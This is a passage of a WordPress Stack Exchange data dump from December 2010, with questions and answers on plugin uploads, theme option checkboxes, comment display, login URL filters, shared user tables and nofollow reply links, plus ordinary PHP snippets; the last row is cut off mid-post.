  <row Id="5612" PostTypeId="1" CreationDate="2010-12-19T03:30:53.883" Score="0" ViewCount="231" Body="&lt;p&gt;I am using the &lt;a href=&quot;http://wordpress.org/extend/plugins/ucan-post/&quot; rel=&quot;nofollow&quot;&gt;uCan Post (Wordpress Plugin)&lt;/a&gt; to allow registered members to have their own way to post without using the dashboard or gaining any access to Admin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have created a user-contributions category, to which all the posts from the plugin output are directed, and have removed that category from the front page so that in effect there are two blogs, the main and the category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that images appear in the post if it is on a single page, but not when it is displayed as part of the category page, presumably because somewhere down the line a relative URL is being used. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;First off, I got the normal URL but with &quot;category/&quot; prepended. So I attempted to get around that by creating a new upload directory through admin, to match the new URLs, and changing the default path and the absolute URL in admin too. Still doesn't work, I am still getting whatever URL I create with &quot;category&quot; stuck on at the start.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Text of course is fine. I don't especially have to grant upload privileges, but I want to, and I don't like giving in! What should I do? I really want every reference to uploads to use an absolute path, not a relative one, but I'm not a programmer. Any thoughts please?&lt;/p&gt;&#xA;" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-02-06T16:51:36.370" LastActivityDate="2011-04-01T22:20:31.733" Title="How to use an alternate uploads folder with plugins?" Tags="&lt;categories&gt;&lt;uploads&gt;&lt;user-access&gt;&lt;directory&gt;" AnswerCount="0" CommentCount="4" />
  <row Id="5613" PostTypeId="2" ParentId="1828" CreationDate="2010-12-19T11:38:09.513" Score="0" ViewCount="" Body="&lt;p&gt;you can create widgets that can activated once with the old method:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;// Custom Widget&#xA;function widget_artdev_custom() { ?&amp;gt;&#xA;&#xA;// YOUR CODE-FUNCTIONS HERE&#xA;&#xA;&amp;lt;?php }&#xA;if ( function_exists('register_sidebar_widget') )&#xA;register_sidebar_widget(__('Custom Widget','artdev'), 'widget_artdev_custom');&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;have in mind that this code can be used for &gt;2.8 and older versions of wordpress.&lt;/p&gt;&#xA;" OwnerUserId="2048" LastEditorUserId="2048" LastEditorDisplayName="" LastEditDate="2011-03-31T19:22:26.380" LastActivityDate="2011-03-31T19:22:26.380" CommentCount="2" />
  <row Id="5614" PostTypeId="2" ParentId="841" CreationDate="2010-12-19T11:48:13.697" Score="1" ViewCount="" Body="&lt;p&gt;An another solution is &lt;a href=&quot;http://wordpress.org/extend/plugins/display-widgets/&quot; rel=&quot;nofollow&quot;&gt;Display-Widgets&lt;/a&gt; plugin,&#xA;it adds a dropdown menu in every widget you have activate in your sidebar/s where you can select in which pages/posts to show or hide it.&lt;/p&gt;&#xA;" OwnerUserId="2048" LastActivityDate="2010-12-19T11:48:13.697" />
  <row Id="5615" PostTypeId="2" ParentId="5597" CreationDate="2010-12-19T13:41:23.817" Score="1" ViewCount="" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;By default, only one post is displayed on the page&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I can see several posts on your main page(6 total), please clarify what you mean.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;with a small ting of comments.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Sorry, what?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More details/clarification please. Would have liked to have posted this as a comment but i'm not sure if you can quote properly there.. (feel free to down vote if anyone feels this is a misuse of the answer).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Based on the minimal information provided here's one possible solution.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Show latest comment after each post on the index.&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Assumes &lt;code&gt;is_home()&lt;/code&gt; is true and applicable for the use case. After the &lt;code&gt;&amp;lt;?php if( have_posts() ) ?&amp;gt;&lt;/code&gt; line, but before &lt;code&gt;&amp;lt;?php while( have_posts() ) : ?&amp;gt;&lt;/code&gt;..  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;.. put the following code.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if( is_home() ) $_comment_walk = new Walker_Comment; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then, just before the closing part of the while loop, that's this part &lt;code&gt;&amp;lt;?php endwhile; ?&amp;gt;&lt;/code&gt;, place the following..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if( is_home() ) : ?&amp;gt;&#xA;&#xA;    &amp;lt;div style=&quot;border:3px solid #000;padding:10px&quot;&amp;gt;&#xA;&#xA;    &amp;lt;?php&#xA;    $_last_comment = get_comments( 'number=1&amp;amp;post_id=' . get_the_ID() );&#xA;    $_comment_walk-&amp;gt;paged_walk( &#xA;        $_last_comment, 0, 1, 1, &#xA;        array( 'style' =&amp;gt; 'div', 'avatar_size' =&amp;gt; 40, 'max_depth' =&amp;gt; 1 ) &#xA;    );&#xA;    ?&amp;gt;&#xA;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;NOTE:&lt;/strong&gt; The div with the big border is just to make the box standout so you can see the result easily, remove or add to the code as you like and of course feel free to re-position it elsewhere inside the post loop if you like..(i assumed after the post was appropriate).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Why did i use the comment walker?&lt;/strong&gt;   &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The comment gets output the same as it would in a single post instance, and the walker takes care with sanitizing for you.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Why did i set the walker before the while loop?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;So we reuse that same walker instance, rather then creating a new one with each post iteration&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Hope that helps... :)&lt;/p&gt;&#xA;" OwnerUserId="1468" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2010-12-22T12:44:01.100" LastActivityDate="2010-12-22T12:44:01.100" CommentCount="2" />
  <row Id="5616" PostTypeId="1" CreationDate="2010-12-19T13:45:16.687" Score="0" ViewCount="441" Body="&lt;p&gt;Hi I made a theme options by &lt;a href=&quot;http://www.vitali-software.com/web-design/wordpress-tutorial-add-an-options-page-to-your-wp-theme/&quot; rel=&quot;nofollow&quot;&gt;this tutorial&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This options have multicheck type by checkboxes. I don't know how to make it work. I'm try to exclude page using this multicheck.&#xA;This is my array with options:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$pages = get_pages('sort_column=post_parent,menu_order');&#xA;$pageids = array();&#xA;    foreach ($pages as $page) {&#xA;        $pageids[$page-&amp;gt;ID]= $page-&amp;gt;post_title;&#xA;    }&#xA;array( &quot;name&quot; =&amp;gt; &quot;Exclude page&quot;,&#xA;        &quot;desc&quot; =&amp;gt; &quot;&quot;,&#xA;        &quot;id&quot; =&amp;gt; $shortname.&quot;_excludepage&quot;,&#xA;        &quot;type&quot; =&amp;gt; &quot;multicheck&quot;,&#xA;        &quot;options&quot; =&amp;gt; $pageids,&#xA;        &quot;std&quot; =&amp;gt; &quot;&quot;),&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This screen show how this function looks in my DB:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://i.stack.imgur.com/QFwV7.png&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;512&lt;/code&gt; is the ID of a page that I try to exclude.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Look's like this in admin:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://i.stack.imgur.com/31TQa.png&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In my template I've use this standart method for exclusion:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp_list_pages(&quot;exclude=get_option('src_excludepage'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Please help me with this function! Thank you!&lt;/p&gt;&#xA;" OwnerUserId="1752" LastEditorUserId="1752" LastEditorDisplayName="" LastEditDate="2010-12-19T16:02:17.883" LastActivityDate="2010-12-19T17:28:11.977" Title="Add a series of checkboxes to theme options" Tags="&lt;themes&gt;&lt;options&gt;" AnswerCount="2" />
  <row Id="5618" PostTypeId="2" ParentId="5616" CreationDate="2010-12-19T14:07:38.687" Score="0" ViewCount="" Body="&lt;p&gt;&lt;strike&gt;Assuming your back-end works, and you can check multiple fields, and that the field values are really stored as an array, use: &lt;/strike&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$exclude = get_option('src_excludepage');&#xA;wp_list_pages(array(&#xA;      &quot;exclude&quot; =&amp;gt; implode(',', $exclude['options']),&#xA;   ));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;PS: the tutorial you use has a pretty weird way of handling &quot;multicheck&quot;. A much easier method is to append &lt;code&gt;[]&lt;/code&gt; to the checkbox input names...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;in the &lt;code&gt;mytheme_admin()&lt;/code&gt; function add another case:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; case &quot;page_multicheck&quot;:&#xA;  option_wrapper_header($value);&#xA;&#xA;  $pages = get_pages('sort_column=post_parent,menu_order');&#xA;  $pageids = array();&#xA;  foreach ($pages as $page){&#xA;    $pageids[$page-&amp;gt;ID] = $page-&amp;gt;post_title;&#xA;&#xA;    $input_id = $value['id'] . '_' . $page-&amp;gt;ID;&#xA;    $checkbox_setting = get_settings($value['id']);&#xA;    if (in_array($page-&amp;gt;ID, $checkbox_setting)) $checked = &quot;checked=\&quot;checked\&quot;&quot;; else $checked = &quot;&quot;;&#xA;     ?&amp;gt;&#xA;     &amp;lt;input type=&quot;checkbox&quot; name=&quot;&amp;lt;?php echo $value['id']; ?&amp;gt;[]&quot; id=&quot;&amp;lt;?php echo $input_id; ?&amp;gt;&quot; &amp;lt;?php echo $checked; ?&amp;gt; /&amp;gt;&#xA;     &amp;lt;label for=&quot;&amp;lt;?php echo $input_id; ?&amp;gt;&quot;&amp;gt;&amp;lt;?php echo $page-&amp;gt;post_title; ?&amp;gt;&amp;lt;/label&#xA;     &amp;gt;&amp;lt;br /&amp;gt;&#xA;     &amp;lt;?php&#xA;  }&#xA;  option_wrapper_footer($value);&#xA;  break;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in the &lt;code&gt;$options&lt;/code&gt; array remove the old option and add:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  array(&quot;name&quot; =&amp;gt; &quot;Exclude page&quot;,&#xA;        &quot;desc&quot; =&amp;gt; &quot;&quot;,&#xA;        &quot;id&quot; =&amp;gt; $shortname.&quot;_excludepage&quot;,&#xA;        &quot;type&quot; =&amp;gt; &quot;page_multicheck&quot;,&#xA;        &quot;options&quot; =&amp;gt; array(),&#xA;        &quot;std&quot; =&amp;gt; &quot;&quot;),&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;now, theoretically my code above should work...&lt;/p&gt;&#xA;" OwnerUserId="1986" LastEditorUserId="1986" LastEditorDisplayName="" LastEditDate="2010-12-19T17:28:11.977" LastActivityDate="2010-12-19T17:28:11.977" CommentCount="20" />
  <row Id="5619" PostTypeId="2" ParentId="5616" CreationDate="2010-12-19T16:04:04.310" Score="2" ViewCount="" Body="&lt;p&gt;Want some honest advice? Work from a better code base..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Though, it's not your fault, there are hundreds of blogs with variations of similar code, i'm not sure where it originated, but i see similar code &quot;alot&quot;...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you can get by without the hand holding and just manage with a good code base, i'd suggest the following..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://themeshaper.com/sample-theme-options/&quot; rel=&quot;nofollow&quot;&gt;http://themeshaper.com/sample-theme-options/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's not the most fancy or advanced example, but the approach is sound, it only uses a single option to store all the values and also uses the settings api for handling options.&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2010-12-19T16:04:04.310" CommentCount="5" />
  <row Id="5620" PostTypeId="2" ParentId="5610" CreationDate="2010-12-19T16:54:17.267" Score="0" ViewCount="" Body="&lt;p&gt;Why not just use native functionality for comment pagination?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;http://codex.wordpress.org/Migrating_Plugins_and_Themes_to_2.7/Enhanced_Comment_Display&quot; rel=&quot;nofollow&quot;&gt;Enhanced Comment Display&lt;/a&gt;, &lt;a href=&quot;http://codex.wordpress.org/Settings_Discussion_SubPanel&quot; rel=&quot;nofollow&quot;&gt;Settings &gt; Discussion&lt;/a&gt; in Codex.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-12-19T16:54:17.267" />
  <row Id="5621" PostTypeId="2" ParentId="1382" CreationDate="2010-12-19T16:58:30.587" Score="1" ViewCount="" Body="&lt;p&gt;As Denis commented on Hakre's blog, this is a very basic example of the issue.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function run_me_once() {&#xA;    remove_action( 'foobar', 'run_me_once' );&#xA;    echo 'test....';&#xA;}&#xA;add_action( 'foobar', 'run_me_once' );&#xA;&#xA;function run_me2() {&#xA;    echo 'test2....';&#xA;}&#xA;add_action( 'foobar', 'run_me2', 11 );&#xA;&#xA;echo '';&#xA;do_action( 'foobar' ); // test....&#xA;echo '';&#xA;echo '';&#xA;do_action( 'foobar' ); // test2....&#xA;echo '';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Before running that code though, ask yourself, what would you expect the result to be. Once you've decided what the result should be, run it and see what happens. &lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2010-12-19T16:58:30.587" CommentCount="5" />
  <row Id="5622" PostTypeId="1" CreationDate="2010-12-19T17:16:00.000" Score="0" ViewCount="324" Body="&lt;p&gt;I currently have some code setup to display upcoming events set by the admin based on the date of the event. The upcoming events are sorted by the next upcoming event, starting from the top, and then going down. I've limited it to just two.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, when the start of the day comes (e.g. midnight of event date), the event disappears. &lt;strong&gt;I'd like the event to still show through midnight of the next day (e.g. the start of the next day).&lt;/strong&gt; Right now, the event is disappearing the second that the day of the event comes...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know how to change this with the current code that I have?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;boxer events&quot;&amp;gt;&#xA;&amp;lt;h3&amp;gt;Upcoming Events&amp;lt;/h3&amp;gt;&#xA;&amp;lt;?php&#xA;//The Query&#xA;query_posts(array(&#xA;'posts_per_page' =&amp;gt; 2,&#xA;'meta_key' =&amp;gt; 'event_date',&#xA;'meta_value' =&amp;gt; date('Y-m-d'),&#xA;'meta_compare' =&amp;gt; '&amp;gt;',&#xA;'orderby' =&amp;gt; 'meta_value',&#xA;'order' =&amp;gt; 'ASC'&#xA;));&#xA;&#xA;//The Loop&#xA;$count = 0;&#xA;while ( have_posts() ) : the_post(); $count++;&#xA;//The Title&#xA;$title = $post-&amp;gt;post_title;&#xA;$event_datee = get_post_meta($post-&amp;gt;ID, 'event_date', true);&#xA;?&amp;gt;&#xA;&amp;lt;dl&amp;gt;&#xA;&amp;lt;dt&amp;gt;&amp;lt;a title=&quot;&amp;lt;?php echo $title; ?&amp;gt;&quot; href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php echo $title; ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/dt&amp;gt;&#xA;&amp;lt;div class=&quot;postdate&quot;&amp;gt;&#xA;&amp;lt;div class=&quot;month m-&amp;lt;?php $dtes = get('event_date'); $timestamp = strtotime($dtes); echo date('n', $timestamp); //month ?&amp;gt;&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div class=&quot;day d-&amp;lt;?php $dtes = get('event_date'); $timestamp = strtotime($dtes); echo date('d', $timestamp); //day ?&amp;gt;&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div class=&quot;year y-&amp;lt;?php $dtes = get('event_date'); $timestamp = strtotime($dtes); echo date('Y', $timestamp); //year ?&amp;gt;&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;dd&amp;gt;&amp;lt;?php the_excerpt(); ?&amp;gt;&amp;lt;/dd&amp;gt;&#xA;&amp;lt;/dl&amp;gt;&#xA;&amp;lt;?php endwhile; ?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&amp;lt;!--end boxerevents--&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks for your help!&lt;/p&gt;&#xA;" OwnerUserId="2059" LastActivityDate="2011-02-06T16:50:32.267" Title="How to Configure Events List in Wordpress to Disappear Event Once Date is Past" Tags="&lt;php&gt;&lt;list&gt;&lt;events&gt;&lt;code&gt;" AnswerCount="1" />
  <row Id="5623" PostTypeId="1" CreationDate="2010-12-19T18:29:33.940" Score="2" ViewCount="199" Body="&lt;p&gt;I wan to change my premalinks to attachment pages from &lt;code&gt;http://example.com/.../attachemnt/something&lt;/code&gt; to &lt;code&gt;http://example.com/.../attachemnt/something/something.jpg&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It should simply add filename but with nice url, I tried with add query arg() but this builds url query like &lt;code&gt;?name=something.jpg&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there solution to achieve this without hard coding anything to wordpress? &lt;/p&gt;&#xA;" OwnerUserId="2060" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-02-06T16:49:30.630" LastActivityDate="2011-08-23T19:33:53.453" Title="Add filename to attachment page url" Tags="&lt;3.0&gt;&lt;php&gt;&lt;permalinks&gt;&lt;images&gt;&lt;urls&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="5624" PostTypeId="1" AcceptedAnswerId="5626" CreationDate="2010-12-19T18:56:30.657" Score="1" ViewCount="346" Body="&lt;p&gt;I was editing a wordpress theme. Where i need to replace default wp login link with custom login link.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Problem is, &lt;code&gt;comment_reply_link()&lt;/code&gt; function is returning the default link. And i dont want to edit wp-include/comment-template.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any other way, so that without manipulation of any wordpress file i can replace the default login url.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I already had tried &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;apply_filters('login_url', $login_url,get_permalink());&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;before &lt;code&gt;calling comment_reply_link()&lt;/code&gt;. But it is not filtering resulting URL.&lt;/p&gt;&#xA;" OwnerUserId="958" LastEditorUserId="958" LastEditorDisplayName="" LastEditDate="2010-12-19T19:03:53.973" LastActivityDate="2010-12-19T19:36:30.763" Title="How to edit comment_reply_link" Tags="&lt;login&gt;" AnswerCount="2" />
  <row Id="5625" PostTypeId="2" ParentId="5624" CreationDate="2010-12-19T19:13:41.693" Score="2" ViewCount="" Body="&lt;p&gt;I am not sure if you copy/pasted wrong line or misunderstanding how to add filter. &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/apply_filters&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;apply_filters()&lt;/code&gt;&lt;/a&gt; runs actual hook, to attach your function to the hook you use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/add_filter&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;add_filter()&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It should be something like that:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('login_url','custom_login_url');&#xA;&#xA;function custom_login_url($login_url) {&#xA;&#xA;    return 'your url';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-12-19T19:13:41.693" />
  <row Id="5626" PostTypeId="2" ParentId="5624" CreationDate="2010-12-19T19:36:30.763" Score="1" ViewCount="" Body="&lt;p&gt;you can simple make a check if user is logged in and show him the reply button, if is not you can show him a custom link to your login file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ( !is_user_logged_in() ) : ?&amp;gt;&#xA;    &amp;lt;a href=&quot;&amp;lt;?php bloginfo('url'); ?&amp;gt;/login&quot;&amp;gt;&amp;lt;?php _e('Reply', 'artdev'); ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;&amp;lt;?php else : ?&amp;gt;&#xA;    &amp;lt;?php comment_reply_link() ?&amp;gt;&#xA;&amp;lt;?php endif ?&amp;gt;  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2048" LastActivityDate="2010-12-19T19:36:30.763" />
  <row Id="5627" PostTypeId="1" AcceptedAnswerId="5632" CreationDate="2010-12-19T20:25:16.870" Score="1" ViewCount="239" Body="&lt;p&gt;Hoping to benefit from the experience of others. This question is really multiple potential questions so I'm hoping someone can steer me to the best solution to keep me from all the trial and error.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Background&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;So I have set up a WordPress v3.0.3 site currently with about 20 users and about 25 pages of content and I realize I needed a discussion forum for which I think the &lt;a href=&quot;http://p2theme.com/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;P2 Theme&lt;/strong&gt;&lt;/a&gt; will work really well. I installed another copy of WordPress in the &lt;code&gt;/discuss/&lt;/code&gt; subdirectory and then went about trying to share the user tables by setting &lt;code&gt;CUSTOM_USER_TABLE&lt;/code&gt; and &lt;code&gt;CUSTOM_USER_META_TABLE&lt;/code&gt; only to find that setting those constants are not sufficient because of &lt;a href=&quot;http://xentek.net/articles/528/implementing-the-wordpress-shared-users-table-trick/&quot; rel=&quot;nofollow&quot;&gt;issues&lt;/a&gt; with the &lt;a href=&quot;http://willnorris.com/2008/09/wordpress-mu-in-a-development-environment&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;COOKIE_DOMAIN&lt;/code&gt;&lt;/a&gt; and &lt;a href=&quot;http://engine.taffel.se/2008/11/18/multiblog-single-login-in-wp-26/&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;COOKIE_PATH&lt;/code&gt;&lt;/a&gt;, &lt;a href=&quot;http://hungred.com/how-to/multiple-wordpress-installation-sharing-user-table-touching-wordpress-core/&quot; rel=&quot;nofollow&quot;&gt;issues with capabilities that would require hacking core to fix&lt;/a&gt;, and it seems &lt;a href=&quot;http://core.trac.wordpress.org/ticket/2622&quot; rel=&quot;nofollow&quot;&gt;lack&lt;/a&gt; of &lt;a href=&quot;http://core.trac.wordpress.org/ticket/13323&quot; rel=&quot;nofollow&quot;&gt;support&lt;/a&gt; from the core team for multiple sites with the same user tables. So I fear heading down a rabbit hole of lost time trying to make this work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I thought maybe &lt;a href=&quot;http://codex.wordpress.org/Create_A_Network&quot; rel=&quot;nofollow&quot;&gt;Multisite&lt;/a&gt; would be the solution which is unfortunately something that I've had very little experience with yet. However it seems that I can't just convert to multisite &lt;em&gt;(&lt;a href=&quot;http://wordpress.stackexchange.com/questions/5516/convert-existing-site-to-network/5520#5520&quot;&gt;according to @EAMann&lt;/a&gt;)&lt;/em&gt; but instead need to create a new install and then rebuild from there. Not knowing what that will break &lt;em&gt;(i.e. will my users roles and capabilities transfer? Will the members plugin I'm using work? Are there any other concerns?)&lt;/em&gt; I'm also afraid to take that path unless I know it'll work well.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Summary&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;So in summary, what's the best way to get a site set up to have a main site and to use the P2 Theme for discussions in a subdirectory of the main site, to be able to use one user database and ideally to have a single login? &lt;em&gt;(though single login is the least important consideration at the moment.)&lt;/em&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance for the help.&lt;/p&gt;&#xA;" OwnerUserId="89" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-04-18T13:04:07.460" LastActivityDate="2011-04-18T13:04:07.460" Title="Shared User Tables on 2 WordPress Sites; &quot;Main&quot; Site and &quot;Discuss&quot; using P2?" Tags="&lt;multisite&gt;&lt;shared-user-tables&gt;&lt;theme-p2&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" />
  <row Id="5628" PostTypeId="1" AcceptedAnswerId="5641" CreationDate="2010-12-19T20:36:02.747" Score="2" ViewCount="341" Body="&lt;p&gt;what are the differences between wp_users and wp_usermeta tables?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i use &lt;a href=&quot;http://wordpress.org/extend/plugins/wp-email-login/&quot; rel=&quot;nofollow&quot;&gt;wp-email-login&lt;/a&gt; plugin and i just noticed that if a user change his email in the profile page it saved in the wp_usermeta table and not in the wp_users table,&#xA;this is a problem cause the user have to use the first email to login successful, if he use the new (changed) email he can't get access.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;does anyone here can explain me why and how i can save the user email in the wp_users table?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks a lot&lt;/p&gt;&#xA;" OwnerUserId="2048" LastActivityDate="2010-12-20T00:53:18.717" Title="what are the differences between wp_users and wp_usermeta tables?" Tags="&lt;login&gt;&lt;email&gt;&lt;wpdb&gt;" AnswerCount="1" />
  <row Id="5629" PostTypeId="1" AcceptedAnswerId="5648" CreationDate="2010-12-19T21:01:57.347" Score="0" ViewCount="513" Body="&lt;p&gt;Does anyone know of a galley plug-in which would have this kind of functionality?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-------------------------------------------&#xA;|                                         |&#xA;|                                         |&#xA;|                                         |&#xA;|                                         |&#xA;|                                         |    &amp;lt;-image shows whatever thumbnail is clicked&#xA;|                                         |&#xA;|                                         |&#xA;|                                         |&#xA;|                                         |&#xA;|                                         |&#xA;-------------------------------------------&#xA;-----  -----  -----  -----  -----  -----&#xA;|   |  |   |  |   |  |   |  |   |  |   |    &amp;lt;-thumbnails&#xA;|   |  |   |  |   |  |   |  |   |  |   |&#xA;-----  -----  -----  -----  -----  -----&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Ideally, it would allow separate galleries on each page. And load the pictures when you click a thumbnail, without reloading the whole page.&lt;/p&gt;&#xA;" OwnerUserId="394" LastActivityDate="2010-12-20T04:40:30.940" Title="Plug-in for gallery with thumbnails?" Tags="&lt;plugins&gt;&lt;gallery&gt;" AnswerCount="3" CommentCount="1" FavoriteCount="2" />
  <row Id="5630" PostTypeId="1" AcceptedAnswerId="5634" CreationDate="2010-12-19T22:08:55.817" Score="1" ViewCount="477" Body="&lt;p&gt;Just found this site via the WP-Hackers List, been using WordPress for years (make a living partially thanks to it) and never stumbled on this site!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Posted this on the WP-Hackers list, but didn't find a solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know WordPress 3.1 has removed the nofollow attribute from the&#xA;comment Reply link (WordPress 3.1 beta looks good), but was working on&#xA;something theme wise that should also work with removing the nofollow&#xA;attribute from the link for WordPress 3.0.3 and below, but can't get&#xA;it working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;from /wp-includes/comment-template.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; } else {&#xA;  $link = &quot;&amp;lt;a rel='nofollow' class='comment-reply-link' href='&quot; . get_permalink($post-&amp;gt;ID) . &quot;#$respond_id' onclick='return addComment.moveForm(\&quot;$add_below-$post-&amp;gt;ID\&quot;, \&quot;0\&quot;, \&quot;$respond_id\&quot;, \&quot;$post-&amp;gt;ID\&quot;)'&amp;gt;$reply_text&amp;lt;/a&amp;gt;&quot;;&#xA; }&#xA; return apply_filters('post_comments_link', $before . $link . $after, $post);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In WordPress 3.1 rel='nofollow' has been removed from the above code. I'm trying to achieve the same at theme level for WordPress 3.0.3 and below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically adding this code to the comments loop as a test works:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$comment-&amp;gt;comment_content = str_replace('nofollow', 'Test 